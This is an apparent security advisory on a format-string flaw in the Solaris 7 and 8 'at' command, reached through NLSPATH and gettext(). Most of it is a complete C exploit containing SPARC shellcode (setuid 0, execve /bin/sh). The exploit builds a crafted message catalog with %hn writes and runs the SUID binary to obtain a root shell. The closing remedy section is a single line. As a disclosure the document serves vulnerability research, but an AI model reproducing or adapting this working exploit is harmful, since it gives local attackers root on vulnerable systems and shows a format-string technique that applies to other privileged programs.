COMMAND

    at

SYSTEMS AFFECTED

    Solaris 7, 8

PROBLEM

    Hank  Wang  found  following.   He  found  that "at" in Solaris is
    vulnerable on Solaris 7 and 8.  Generally a program that needs  to
    display a  message to  the user  will obtain  the proper  language
    specific string from  the database using  the original message  as
    the  search  key  and  printing  the  results  using the printf(3)
    family of functions.  By building and installing a custom messages
    database  an  attacker  can  control  the  output  of  the message
    retrieval functions that get feed to the printf(3) functions.

    Bad coding  practices and  the ability  to feed  format strings to
    the later functions makes it  possible for an attacker to  execute
    arbitrary code as a privileged  user (root) using almost any  SUID
    program on the vulnerable systems.

    When succeeding "at" command, it will return a message:

        commands will be executed using: <shell>\n

    User  can  create  a  specified  format  string to the message for
    gettext(), and set the NLSPATH environment variable..

    That,  user  may  get  the  root  privilege..  The exploit will be
    released later...

    /*
      NLSPATH, gettext() vulnerable on Solaris/SPARC 7, 8
      by Hank Wang <hank@aimsecurity.net>
    
      1. use dump mode to dump memory
      2. alignment of shellcode and command arguments
      3. get the address of shellcode and stack skip
      4. return address location is top address - 0x10
      5. run exploit mode with parameters
    */
    #include <stdio.h>
    #define SHADDR 0xFFBEFF6C
    #define RETLOC 0xFFBEF5BC
    #define SKIP 607
    #define NOP "\x92\x12\x40\x09"
    
    unsigned long shellcode[]= {
            // setuid 0
            0x901a4009,     // xor %o1, %o1, %o0
            0x82102017,     // mov 0x17, %g1
            0x91d02008,     // ta 8
            // dup2
            0x90102002,     // mov 2,%o0
            0x94102001,     // mov 1,%o2
            0x92102009,     // mov 9,%o1
            0x8210203e,     // mov 0x3e,%g1
            0x91d02008,     // ta 8
            // execve /bin/sh
            0x9422800a,     // sub  %o2, %o2, %o2
            0x9023a008,     // sub  %sp, 8, %o0
            0x210bd89a,     // sethi  %hi(0x2f626800), %l0
            0xa014216e,     // or  %l0, 0x16e, %l0
            0xe023bff8,     // st  %l0, [ %sp + -8 ]
            0x210bdcda,     // sethi  %hi(0x2f736800), %l0
            0xe023bffc,     // st  %l0, [ %sp + -4 ]
            0x9223a010,     // sub  %sp, 0x10, %o1
            0xd023bff0,     // st  %o0, [ %sp + -16 ]
            0xc023bff4,     // clr  [ %sp + -12 ]
            0x8210203b,     // mov  0x3b, %g1
            0x91d02008,     // ta  8
            0x00000000
    };
    
    int dump=0, exploit=0;
    int shpad=0, argpad=2, skip=SKIP;
    unsigned long shaddr=SHADDR, retloc=RETLOC;
    
    void usage(char *prog)
    {
      printf("%s [dump|exploit] [parameters]\n", prog);
      printf("parameters:\n");
      printf("\t--skip=<skip stack>\n");
      printf("\t--argpad=<num>: alignment of command args\n");
      printf("\t--shpad=<num>: alignment of shellcode\n");
      printf("\t--shaddr=<shellcode addr>\n");
      printf("\t--retloc=<return address location>\n");
      exit(0);
    }
    
    int mygetopt(int argc, char **argv)
    {
      int i;
    
      if(!strncmp(argv[1], "dump", 4)) {
        dump=1;
      }
      else if (!strncmp(argv[1], "exploit", 4)) {
        exploit=1;
      }
      else {
        return -1;
      }
    
        for(i=2; i<argc; i++) {
          if (!strncmp(argv[i], "--skip=", 7)) {
            skip=atoi(argv[i]+7);
          }
          else if (!strncmp(argv[i], "--shpad=", 8)) {
            shpad=atoi(argv[i]+8)%4;
          }
          else if (!strncmp(argv[i], "--argpad=", 9)) {
            argpad=atoi(argv[i]+9)%4;
          }
          else if (!strncmp(argv[i], "--shaddr=", 9)) {
            shaddr=strtoul(argv[i]+9, 0, 16);
          }
          else if (!strncmp(argv[i], "--retloc=", 9)) {
            retloc=strtoul(argv[i]+9, 0, 16);
          }
          else {
           return -1;
          }
        }
      return 1;
    }
    
    void makemo()
    {
      char msg[4096], pattern[16];
      FILE *fp;
      int i, j, r, q;
      unsigned long hw;
      int first, next, last;
    
      r=skip%8;
      r=r?r:8;
      q=skip/8;
      q=(r==8)?q-1:q;
    
      memset(msg, 0x00, 4096);
    
      strcpy(msg, "msgstr ");
      if (exploit) {
        hw=(shaddr & 0x0000ffff);
        first=(hw/skip);
        next=hw-(first*(skip-1));
        last=((shaddr & 0xffff0000) >> 16) - hw;
        sprintf(pattern, "%%0%dx", first);
        for(i=0; i<q; i++) {
          strcat(msg, "\"");
          for(j=0; j<8; j++) {
            strcat(msg, pattern);
          }
          strcat(msg, "\"\n");
        }
        strcat(msg, "\"");
        for(j=0; j<r-1; j++) {
          strcat(msg, pattern);
        }
        sprintf(pattern, "%%0%dx", next);
        strcat(msg, pattern);
        strcat(msg, "\"\n");
    
        strcat(msg, "\"");
        strcat(msg, "%hn");
        sprintf(pattern, "%%0%dx", last);
        strcat(msg, pattern);
        strcat(msg, "%hn");
        strcat(msg, "\"\n");
      }
      else {
        for(i=0; i<q; i++)
          strcat(msg, "\"%08x %08x %08x %08x %08x %08x %08x %08x\\n\"\n");
        strcat(msg, "\"");
        for(i=0; i<r-1; i++)
          strcat(msg, "%08x ");
        strcat(msg, "%08x");
        strcat(msg, "\\n\"\n");
      }
    
      fp=fopen("foo.po", "w");
    
      fprintf(fp, "%s\n", "msgid \"commands will be executed using %s\\n\"");
      fprintf(fp, "%s", msg);
      fclose(fp);
    
      system("msgfmt -o SUNW_OST_OSCMD foo.po");
    }
    
    int makefile(char *file)
    {
      unsigned long high, low;
      char *p;
      char cmd[64];
    
      high=retloc+2;
      low=retloc;
    
      strncat(file, "AAAA", argpad);
      p=(char *)&high;
      strncat(file, p, 4);
      strcat(file, "AAAA");
      p=(char *)&low;
      strncat(file, p, 4);
      strncat(file, "AAAA", 4-argpad);
      strcpy(cmd, "touch ");
      strcat(cmd, file);
      system(cmd);
    }
    
    int main(int argc, char *argv[])
    {
      char *prog;
      char file[20];
      char eggshell[128];
      char nlspath[]="NLSPATH=:.";
      int i;
      char *p=(char *)&shellcode;
      char *env[3]={eggshell, nlspath, NULL};
    
      prog=argv[0];
      if(argc < 2) {
        usage(prog);
      }
      if (mygetopt(argc, argv)==-1) {
        usage(prog);
      }
      printf("skip=%d, shaddr=0x%08x, retloc=0x%08x\n", skip, shaddr, retloc);
      fflush(stdout);
    
      makemo();
      memset(file, 0x00, 20);
      makefile(file);
    
      memset(eggshell, 0x00, 128);
      strcpy(eggshell, "EGGSHELL=");
      strncat(eggshell, "AAAA", shpad);
      for(i=0; i<4; i++)
        strcat(eggshell, NOP);
      strcat(eggshell, p);
      strncat(eggshell, "AAAA", 4-shpad);
    
    
      execle("/usr/bin/at", "at", "-f", file, "-t", "07010100", NULL, env);
    }

SOLUTION

    This seems to be addressed by Sun.